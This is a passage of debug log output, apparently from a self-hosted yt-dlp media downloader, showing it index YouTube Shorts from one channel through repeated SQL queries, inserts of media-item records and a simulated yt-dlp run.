"/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.6 Deliverance from demons😋🫵🏿.mp4", true, 1, ~U[2025-06-05 19:21:32Z]] 17:51:08.418 [debug] QUERY OK source="sources" db=0.1ms idle=31.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:51:08.418 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:51:08.418 [debug] QUERY OK source="media_items" db=0.1ms idle=2.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [5] 17:51:08.418 [debug] Current batch of media processed. Will check again in 1000ms 17:51:09.419 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 0.56, "description" => "", "duration" => 180, "filename" => "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍.mp4", "id" => "SpwLvxDOkYU", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/SpwLvxDOkYU", "playlist_index" => 6, "timestamp" => 1749150533, "title" => "Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍", "upload_date" => "20250605"} 17:51:09.420 [debug] QUERY OK source="sources" db=0.2ms idle=1002.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 17:51:09.420 [debug] QUERY OK source="sources" db=0.1ms idle=1002.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:51:09.420 [debug] QUERY OK source="media_items" db=0.1ms idle=1002.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 19:08:53Z], 1] 17:51:09.421 [debug] QUERY OK source="media_items" db=0.5ms idle=1002.3ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍", "613de627-5935-4a96-a9de-19c4fdd9333c", "SpwLvxDOkYU", 180, false, "https://www.youtube.com/shorts/SpwLvxDOkYU", 6, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 19:08:53Z], ~U[2026-08-20 00:51:09Z], ~U[2026-08-20 00:51:09Z], "", "Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍", "SpwLvxDOkYU", 180, false, "https://www.youtube.com/shorts/SpwLvxDOkYU", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.5 witches and the vortexes now closed off to you forever. Period. 🤮❤️\u200D🔥🫵🏿🖕🏿😮🍍.mp4", true, 1, ~U[2025-06-05 19:08:53Z]] 17:51:09.422 [debug] QUERY OK source="sources" db=0.1ms idle=35.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:51:09.422 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:51:09.422 [debug] QUERY OK source="media_items" db=0.1ms idle=2.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [6] 17:51:09.422 [debug] Current batch of media processed. Will check again in 1000ms 17:51:10.423 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 0.56, "description" => "", "duration" => 180, "filename" => "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi..mp4", "id" => "05-_ewx1Im8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/05-_ewx1Im8", "playlist_index" => 7, "timestamp" => 1749149590, "title" => "Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi.", "upload_date" => "20250605"} 17:51:10.423 [debug] QUERY OK source="sources" db=0.2ms idle=1001.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 17:51:10.424 [debug] QUERY OK source="sources" db=0.2ms idle=1001.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:51:10.424 [debug] QUERY OK source="media_items" db=0.1ms idle=1001.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 18:53:10Z], 1] 17:51:10.426 [debug] QUERY OK source="media_items" db=1.2ms idle=1002.0ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi.", "2d694cb0-db71-41f5-8122-7c5feeb389e7", "05-_ewx1Im8", 180, false, "https://www.youtube.com/shorts/05-_ewx1Im8", 7, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi..mp4", false, false, true, 1, [], 89, ~U[2025-06-05 18:53:10Z], ~U[2026-08-20 00:51:10Z], ~U[2026-08-20 00:51:10Z], "", "Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi.", "05-_ewx1Im8", 180, false, "https://www.youtube.com/shorts/05-_ewx1Im8", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 4 The Battle Belongs To Me. Your mothers say hi..mp4", true, 1, ~U[2025-06-05 18:53:10Z]] 17:51:10.426 [debug] QUERY OK source="sources" db=0.2ms idle=38.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:51:10.427 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:51:10.427 [debug] QUERY OK source="media_items" db=0.2ms idle=2.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [7] 17:51:10.427 [debug] Current batch of media processed. Will check again in 1000ms 17:51:11.428 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 0.56, "description" => "", "duration" => 180, "filename" => "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.3.mp4", "id" => "tNwYciwExDA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/tNwYciwExDA", "playlist_index" => 8, "timestamp" => 1749148677, "title" => "Demons. Pt.3", "upload_date" => "20250605"} 17:51:11.429 [debug] QUERY OK source="sources" db=0.3ms idle=1002.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 17:51:11.429 [debug] QUERY OK source="sources" db=0.1ms idle=1002.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:51:11.429 [debug] QUERY OK source="media_items" db=0.1ms idle=1002.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 18:37:57Z], 1] 17:51:11.430 [debug] QUERY OK source="media_items" db=0.5ms idle=1002.5ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.3", "8d9dba09-3985-444f-8bdb-42ce4be9de2a", "tNwYciwExDA", 180, false, "https://www.youtube.com/shorts/tNwYciwExDA", 8, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.3.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 18:37:57Z], ~U[2026-08-20 00:51:11Z], ~U[2026-08-20 00:51:11Z], "", "Demons. Pt.3", "tNwYciwExDA", 180, false, "https://www.youtube.com/shorts/tNwYciwExDA", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.3.mp4", true, 1, ~U[2025-06-05 18:37:57Z]] 17:51:11.431 [debug] QUERY OK source="sources" db=0.2ms idle=41.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:51:11.431 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:51:11.431 [debug] QUERY OK source="media_items" db=0.2ms idle=2.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [8] 17:51:11.431 [debug] Current batch of media processed. Will check again in 1000ms 17:51:12.432 [debug] Current batch of media processed. Will check again in 1000ms 17:51:13.433 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 0.56, "description" => "", "duration" => 180, "filename" => "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.2.mp4", "id" => "OUprsxG35FQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/OUprsxG35FQ", "playlist_index" => 9, "timestamp" => 1749147966, "title" => "Demons. Pt.2", "upload_date" => "20250605"} 17:51:13.433 [debug] QUERY OK source="sources" db=0.2ms idle=150.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 17:51:13.434 [debug] QUERY OK source="sources" db=0.1ms idle=150.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:51:13.434 [debug] QUERY OK source="media_items" db=0.1ms idle=151.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 18:26:06Z], 1] 17:51:13.435 [debug] QUERY OK source="media_items" db=0.5ms idle=151.4ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.2", "a67f1cae-814a-41e0-9b70-9699994de4da", "OUprsxG35FQ", 180, false, "https://www.youtube.com/shorts/OUprsxG35FQ", 9, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.2.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 18:26:06Z], ~U[2026-08-20 00:51:13Z], ~U[2026-08-20 00:51:13Z], "", "Demons. Pt.2", "OUprsxG35FQ", 180, false, "https://www.youtube.com/shorts/OUprsxG35FQ", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.2.mp4", true, 1, ~U[2025-06-05 18:26:06Z]] 17:51:13.435 [debug] QUERY OK source="sources" db=0.2ms idle=43.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:51:13.436 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:51:13.436 [debug] QUERY OK source="media_items" db=0.2ms idle=2.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [9] 17:51:13.436 [debug] Current batch of media processed. Will check again in 1000ms 17:51:13.923 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@MichaelSukutJesus --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/shows/Michael Sukut/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/d0/1b/d01b63c5c93ac97012e25dc7fe7ce1923673d90db2a0fa8bb4c88086f5096aac.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/15/28/1528b7bd11d9c55db141f946a7a04502afe55c99d02e5fc7ca795861792d7081.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 17:51:13.923 [debug] Gracefully stopping file follower 17:51:13.924 [debug] QUERY OK source="sources" db=0.1ms idle=489.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 17:51:13.924 [debug] QUERY OK source="sources" db=0.1ms idle=489.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", 